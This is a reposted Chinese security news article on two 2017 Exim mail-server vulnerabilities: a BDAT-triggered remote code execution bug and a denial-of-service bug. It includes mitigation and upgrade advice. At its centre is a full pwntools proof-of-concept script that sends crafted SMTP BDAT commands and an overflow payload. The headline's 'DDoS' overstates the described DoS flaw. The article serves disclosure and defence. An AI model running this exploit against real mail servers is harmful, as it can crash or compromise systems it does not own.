Unix 邮件传输代理软件 “Exim” 存在两处关键漏洞,可执行远程代码开展 DDoS 攻击

Posted 中网华安

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Unix 邮件传输代理软件 “Exim” 存在两处关键漏洞,可执行远程代码开展 DDoS 攻击相关的知识,希望对你有一定的参考价值。

11 月 27 日报道,台湾安全公司 DEVCORE 的研究人员 Meh 于近期发现互联网邮件传输代理(MTA)软件 Exim 存在一处关键漏洞(CVE-2017-16943),允许黑客向 SMTP 服务器发送 BDAT 命令,从而触发漏洞后远程执行任意代码。调查显示,有超过 40 万台服务器的分块功能已遭该漏洞影响。

Exim 是剑桥大学开发的一款基于 GPL 协议的开放源代码软件,其主要用于连接互联网 Unix 系统的消息传输代理(MTA)服务器。目前,据三月份进行的一百多万台邮件服务器的分析表明,超过 56% 的用户正在使用 Exim 软件。

调查显示,该漏洞由一台公共 bug 跟踪器检测发现并在补丁发布之前意外披露。一旦黑客恶意利用,其系统将会处于崩溃状态,因为该函数指针的 receive_getc 并未被重置。以下是该漏洞部分概念验证代码(PoC)显示:

# pip install pwntools
from pwn import *

r = remote(‘localhost’, 25)

r.recvline()
r.sendline(“EHLO test”)
r.recvuntil(“250 HELP”)
r.sendline(“MAIL FROM:<test@localhost>”)
r.recvline()
r.sendline(“RCPT TO:<test@localhost>”)
r.recvline()
#raw_input()
r.sendline(‘a’*0x1100+’\x7f’)
#raw_input()
r.recvuntil(‘command’)
r.sendline(‘BDAT 1’)
r.sendline(‘:BDAT \x7f’)
s = ‘a’*6 + p64(0xdeadbeef)*(0x1e00/8)
r.send(s+ ‘:\r\n’)
r.recvuntil(‘command’)
#raw_input()
r.send(‘\n’)
r.interactive()
exit()

虽然跟踪器会警示 Exim 软件存在漏洞,但根据用户习惯来看告警通知极有可能被忽略。不过,现开发人员已采取安全措施防止此类事件恶意发展,并提醒运行 Exim 4.88 或更高版本的用户将其主要配置参数 chunking_advertise_hosts 设置为空值,从而禁用 ESMTP 扩展、使 BDAT 无法使用,以便关闭易受攻击程序。

另外,研究人员发现的另一个漏洞(CVE-2017-16944)能够允许黑客利用 BDAT 命令与恶意函数远程开展拒绝服务(DoS)攻击。该漏洞影响了 Exim 4.88 和 4.89 中的 SMTP 后台进程。对此,研究人员建议系统管理人员尽快更新至 Exim 4.90 版本,以防可能的黑客恶意攻击。




以上是关于Unix 邮件传输代理软件 “Exim” 存在两处关键漏洞,可执行远程代码开展 DDoS 攻击的主要内容,如果未能解决你的问题,请参考以下文章

linux系统安装配置exim4(源码安装)

巧合?严重RCE漏洞竟被意外修复

sendmail 和 dma 邮件系统

Exim:将邮件保存到唯一文件

postfix

Linux下6种优秀的邮件传输代理